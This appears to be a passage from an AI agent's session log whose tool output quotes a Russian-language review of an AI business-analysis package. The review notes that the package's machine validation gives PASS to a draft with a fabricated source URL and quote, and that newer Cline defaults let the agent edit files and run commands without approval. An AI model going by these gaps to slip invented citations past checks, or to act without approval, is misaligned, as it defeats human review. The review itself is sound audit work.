\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0430 ([\u0413-16](#\u0433-16)) |\\n166-| \u0413-15 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u00ab\u0417\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u043e\u0438\u0442 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: [\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432 PowerShell 7 \u043d\u0430 Linux; \u0432 Windows PowerShell 5.1 \u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/05-commands-reference.md#L105-L108); \u043d\u0430 Windows \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u0442\u043e\u0438\u0442 5.1. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 [\u041e-2](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/01-junior-pilot.md#L136) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-199): \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `seal` \u0432 runner \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 Python \u0432\u043c\u0435\u0441\u0442\u043e here-string \u0432 PowerShell |\\n167-| \u0413-25 | \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0432\u0438\u0434\u0438\u0442 \u0432 Cline | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u043d\u043a\u0442\u044b [\u00abRead project files\u00bb, \u00abEdit project files\u00bb, \u00abExecute safe commands\u00bb, \u00abYOLO Mode\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L215) \u2014 \u044d\u0442\u043e \u043c\u0435\u043d\u044e Cline v3 ([\u0441\u043f\u0438\u0441\u043e\u043a](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts)). \u0412 v4.1.21 \u043f\u0443\u043d\u043a\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u2014 [\u00abRead files\u00bb, \u00abEdit files\u00bb, \u00abExecute commands\u00bb, \u00abFetch web content\u00bb, \u00abUse MCP servers\u00bb](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts#L6-L31), \u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e [\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/shared/AutoApprovalSettings.ts#L28-L43). \u0412\u043c\u0435\u0441\u0442\u0435 \u0441 [\u0413-10](#\u0433-10) \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043d\u0430 Windows \u0441 \u043d\u043e\u0432\u044b\u043c Cline \u0434\u043e \u0440\u0443\u0447\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0433\u0435\u043d\u0442\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e, \u043a\u0440\u043e\u043c\u0435 [\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0449\u0438\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L223-L252), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0443\u044e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u043b\u043e\u0432\u0438\u0442. \u0416\u0438\u0432\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 v4 \u0432 \u044d\u0442\u043e\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u043d\u0435\u0451; \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0437\u0430\u0449\u0438\u0442\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u0430 |\\n168-\\n169-### \u0413. \u0411\u0430\u043b\u0430\u043d\u0441 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438: \u0433\u0434\u0435 \u043a\u043e\u043d\u0447\u0430\u0435\u0442\u0441\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f G-mach\\n--\\n173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\n174-| \u0413-17 | \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 PASS \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u0446\u0438\u0442\u0430\u0442\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043d\u0438\u0445 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u2014 `sha256` \u043e\u0442 \u0441\u0430\u043c\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b ([`EVID-03`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L178-L185)); `retrieval_status: \\\"read\\\"` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0441 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c `https://nonexistent.invalid/page/42` \u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `PASS` (\u043f\u0440\u043e\u0431\u0430 `P4`). \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 [\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 G-human](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/evaluation/g-human-checklist.md#L10) \u043e\u0442\u0434\u0430\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0443\u043c\u043c\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0435\u0451 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c. **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0434\u043b\u044f KB: \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u0444\u0430\u0439\u043b `docs/kb/`, runner \u043c\u043e\u0436\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0430 \u0435\u0441\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0435 |\",\n[2026-09-29T07:47:45.380Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:45.380Z] [INFO]       }\n[2026-09-29T07:47:45.380Z] [INFO]     ]\n[2026-09-29T07:47:45.380Z] [INFO]   },\n[2026-09-29T07:47:45.380Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:45.380Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"uuid\": \"a44b67c5-d9c1-4e01-ae17-3f3be5ac103d\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:45.369Z\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:45.380Z] [INFO]     \"stdout\": \"dist/execution-package-cline-vscode:\\nAGENTS.md\\nREADME.md\\ncontracts\\ndocs\\nevaluation\\ngolden\\nmeta-model\\npackage-manifest.yaml\\nroutes\\nruns\\nsubmissions\\ntaxonomy\\ntemplates\\ntools\\n\\ndist/execution-package-gigacode-cli:\\nAGENTS.md\\nREADME.md\\ncontracts\\ndocs\\nevaluation\\ngolden\\nmeta-model\\npackage-manifest.yaml\\nrequirements.txt\\nroutes\\nruns\\ntaxonomy\\ntemplates\\ntools\\ndist/execution-package-gigacode-cli/golden:\\ncandidates\\ncases.yaml\\ngs-cc-01-queue-overflow.md\\ngs-cc-02-report-export.md\\ngs-cc-neg-01-inbound-vs-outbound.md\\ngs-cc-neg-02-queue-vs-group.md\\ngs-cc-neg-03-sla-vs-aht.md\\ngs-cc-neg-04-ivr-vs-announcer.md\\n\\ndist/execution-package-gigacode-cli/templates:\\nbcreq-skeleton.md\\ncheckpoint-skeleton.md\\ncore-skeleton.yaml\\nquest-skeleton.md\\n32:[\u0413-16](#\u0433-16)). \u0420\u0430\u0437\u0440\u044b\u0432 \u0441 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n33-\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n34-\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n35-\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n36-\\n--\\n128:| 6 | \u0413\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 | \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Working, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e | \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 | [\u0413-16](#\u0433-16), [\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18) |\\n129-\\n130-## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n131-\\n132-\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:\\n--\\n165:| \u0413-14 | \u041f\u043e\u043b\u0435 `temperature: 0.1` \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 | `temperature` \u0441\u0442\u043e\u0438\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 [`.clinerules/01-package.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/.clinerules/01-package.md#L5) \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u042d\u0442\u043e \u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\u043c \u0425\u0430\u0431\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438: Cline v3 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e [`paths`](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/src/core/context/instructions/user-instructions/rule-conditionals.ts#L77-L106), v4 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e [`name`, `disabled`, `enabled`](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/config/user-instruction-config-loader.ts#L383-L408) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445; \u0435\u0451 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043c\u043e\u0434\u0435\u043b\u0438. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0430 ([\u0413-16](#\u0433-16)) |\\n166-| \u0413-15 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u00ab\u0417\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u043e\u0438\u0442 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: [\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432 PowerShell 7 \u043d\u0430 Linux; \u0432 Windows PowerShell 5.1 \u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/05-commands-reference.md#L105-L108); \u043d\u0430 Windows \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u0442\u043e\u0438\u0442 5.1. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 [\u041e-2](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/01-junior-pilot.md#L136) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-199): \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `seal` \u0432 runner \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 Python \u0432\u043c\u0435\u0441\u0442\u043e here-string \u0432 PowerShell |\\n167-| \u0413-25 | \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0432\u0438\u0434\u0438\u0442 \u0432 Cline | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u043d\u043a\u0442\u044b [\u00abRead project files\u00bb, \u00abEdit project files\u00bb, \u00abExecute safe commands\u00bb, \u00abYOLO Mode\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L215) \u2014 \u044d\u0442\u043e \u043c\u0435\u043d\u044e Cline v3 ([\u0441\u043f\u0438\u0441\u043e\u043a](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts)). \u0412 v4.1.21 \u043f\u0443\u043d\u043a\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u2014 [\u00abRead files\u00bb, \u00abEdit files\u00bb, \u00abExecute commands\u00bb, \u00abFetch web content\u00bb, \u00abUse MCP servers\u00bb](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts#L6-L31), \u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e [\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/shared/AutoApprovalSettings.ts#L28-L43). \u0412\u043c\u0435\u0441\u0442\u0435 \u0441 [\u0413-10](#\u0433-10) \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043d\u0430 Windows \u0441 \u043d\u043e\u0432\u044b\u043c Cline \u0434\u043e \u0440\u0443\u0447\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0433\u0435\u043d\u0442\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e, \u043a\u0440\u043e\u043c\u0435 [\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0449\u0438\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L223-L252), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0443\u044e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u043b\u043e\u0432\u0438\u0442. \u0416\u0438\u0432\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 v4 \u0432 \u044d\u0442\u043e\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u043d\u0435\u0451; \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0437\u0430\u0449\u0438\u0442\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u0430 |\\n168-\\n169-### \u0413. \u0411\u0430\u043b\u0430\u043d\u0441 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438: \u0433\u0434\u0435 